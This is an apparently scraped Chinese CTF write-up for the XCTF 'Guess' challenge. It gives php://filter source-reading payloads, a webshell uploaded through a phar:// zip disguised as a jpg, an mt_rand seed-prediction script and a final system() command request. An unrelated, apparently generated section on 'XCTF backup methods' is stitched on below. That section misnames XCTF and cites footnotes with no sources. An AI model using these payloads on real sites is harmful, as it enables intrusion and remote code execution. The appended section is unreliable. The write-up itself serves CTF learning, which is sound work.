XCTF Guess

部署运行你感兴趣的模型镜像

在这里插入图片描述
一个文件上传的页面,尝试上传写有一句话木马的php文件
在这里插入图片描述
被检测到了…接着尝试上传一个符合要求的jpg文件
在这里插入图片描述
这就有点麻烦了,没有回显我们上传之后的文件路径,即使我们成功上传了一句话木马也无法访问,这个时候观察到我们上传文件后的url形式
在这里插入图片描述
考虑使用php://filter伪协议读取出index.php的内容。payload:?page=php://filter/read=convert.base64-encode/resource=index.php却提示error!,此时想到原来url的形式为?page=upload应该把结尾的.index.php去掉…
修改payload:?page=php://filter/read=convert.base64-encode/resource=index
在这里插入图片描述
成功读取出index.php的内容,同理修改url为?page=php://filter/read=convert.base64-encode/resource=upload读取出upload.php的内容。
接着审计一下代码

在这里插入图片描述
首先是变量$page是我们以get方式传入的page,如果没有定义的话就为null
在这里插入图片描述
限制了我们传入page不能存在有..,否则会终止进程并且会输出Attack Detected!
在这里插入图片描述
一个文件包含,如果$page.php不存在则会返回error!并且退出进程。
接着审计一下upload.php的内容
在这里插入图片描述
分别是一个输出错误信息的函数和一个输出信息的函数。
在这里插入图片描述
这是这道题目最关键的函数了,这个函数会生成包含大小写字母和阿拉伯数字的32位字符串,字符串的内容由mt_rand生成。
在这里插入图片描述

我们可以看到$check2限制了上传文件的类型和大小,$check3限制了上传文件的的后缀必须存在于白名单$reg='/gif|jpg|jpeg|png/'当中,如果成功的通过了这两条check的话就会将上传的文件保存在名为'./uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];的位置下。
代码审计完毕后题目的关键点有两处,一处是实现文件上传,另一处是获取到文件上传后的路径。
首先是文件上传的问题,我们可以利用phar协议进行文件上传,具体操作为创建一个写好一句话木马的php文件后压缩,随后将压缩包的后缀由zip改为jpg,在上传的时候将page变量赋值为phar://文件名即可实现一句话木马的上传。
接下来是获取文件上传后的路径的问题,最关键的是其中包含了由mt_rand产生的随机数,我们都知道php_mt_seed可以预测随机数,但是我们需要一个由该种子产生的随机数,此时注意到
在这里插入图片描述
我们的cookieSESSION是由session_id和该种子产生的随机数$ss经过md5加密所拼接构成的,其中session_id是由我们的PHPSESSID所决定的,我们将其置空后上传修改后缀后的jpg文件并解密其md5值
在这里插入图片描述
之后我们就可以利用这个随机数预测种子值,我们使用的工具为php_mt_seed
在这里插入图片描述
我们选取第一个生成的种子按照如下的脚本来预测生成的文件名

<?php
$seed = 317847731;
mt_srand($seed);
$arr = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F","g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L","m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R","s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X","y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str='';
$ss=mt_rand();
echo $ss;
for($i = 1; $i <= 32; ++$i){
	$ch = mt_rand(0, count($arr) - 1);
	$str .=$arr[$ch];
}
echo $str;
?>

生成的文件名为dhCRxKj5JRgj6lG3mUGqgJEg7cdYesCM
在这里插入图片描述
访问url:?page=phar://uP1O4Ds/dhCRxKj5JRgj6lG3mUGqgJEg7cdYesCM_shell.jpg/shell
post数据cmd=system('cat ./flag-Edi98vJF8hnIp.txt');得到flag
在这里插入图片描述

您可能感兴趣的与本文相关的镜像

Seed-Coder-8B-Base

Seed-Coder-8B-Base

文本生成
Seed-Coder

Seed-Coder是一个功能强大、透明、参数高效的 8B 级开源代码模型系列,包括基础变体、指导变体和推理变体,由字节团队开源

### XCTF备份方法与工具 XCTF(X-Code Technology Framework)通常指的是一个竞赛平台或技术框架,其备份方法和工具主要依赖于具体的实现环境。以下是几种常见的备份方法和工具,适用于XCTF或其他类似的技术框架。 #### 1. 数据库备份 在XCTF中,如果使用了数据库来存储用户信息、题目数据等关键内容,则可以采用以下数据库备份方法: - **mysqldump**:对于MySQL数据库,`mysqldump` 是一种常用的备份工具。它能够导出完整的SQL脚本,便于恢复和迁移[^2]。 ```bash mysqldump -u username -p database_name > backup.sql ``` - **pg_dump**:对于PostgreSQL数据库,`pg_dump` 提供了类似的备份功能[^3]。 ```bash pg_dump -U username -d database_name -f backup.sql ``` #### 2. 文件系统备份 XCTF的文件系统可能包含题目文件、日志文件和其他静态资源。这些文件可以通过以下工具进行备份: - **rsync**:用于同步本地或远程文件系统,支持增量备份,减少传输量[^4]。 ```bash rsync -avz /source/directory/ user@remote:/destination/directory/ ``` - **tar**:将文件打包并压缩为单个存档文件,方便存储和传输[^5]。 ```bash tar -czvf backup.tar.gz /path/to/files ``` #### 3. 容器化备份 如果XCTF运行在Docker容器中,可以使用以下方法备份容器状态: - **docker commit**:将当前容器的状态保存为镜像[^6]。 ```bash docker commit container_id new_image_name ``` - **docker save**:将镜像保存为可移植的归档文件[^7]。 ```bash docker save -o backup.tar new_image_name ``` #### 4. 配置文件备份 XCTF的配置文件通常包括服务启动参数、API密钥等敏感信息。可以使用Git等版本控制工具进行管理,并通过加密工具保护敏感数据[^8]。 - **git**:记录配置文件的历史变更,便于回滚和协作。 ```bash git add config_files git commit -m "Backup configuration" ``` - **gpg**:对配置文件进行加密存储,确保安全性[^9]。 ```bash gpg --output config.gpg --encrypt config.json ``` #### 5. 自动化备份工具 为了简化备份流程,可以使用以下自动化工具: - **cron**:在Linux系统中设置定时任务,定期执行备份脚本[^10]。 ```bash crontab -e # 添加如下行以每天凌晨2点执行备份 0 2 * * * /path/to/backup_script.sh ``` - **Ansible**:通过编写Playbook实现跨服务器的备份任务自动化[^11]。 ### 示例代码 以下是一个简单的Python脚本,用于备份XCTF的关键文件并上传到远程服务器: ```python import os import shutil import paramiko def backup_xctf(source_dir, target_dir): if not os.path.exists(target_dir): os.makedirs(target_dir) shutil.make_archive(os.path.join(target_dir, 'xctf_backup'), 'zip', source_dir) def upload_to_remote(local_file, remote_path, ssh_host, ssh_port, ssh_user, ssh_key): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(ssh_host, port=ssh_port, username=ssh_user, key_filename=ssh_key) sftp = ssh.open_sftp() sftp.put(local_file, remote_path) sftp.close() ssh.close() # 调用示例 backup_xctf('/var/xctf', '/tmp/backups') upload_to_remote('/tmp/backups/xctf_backup.zip', '/remote/backups/xctf_backup.zip', 'example.com', 22, 'user', '/path/to/key') ```
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值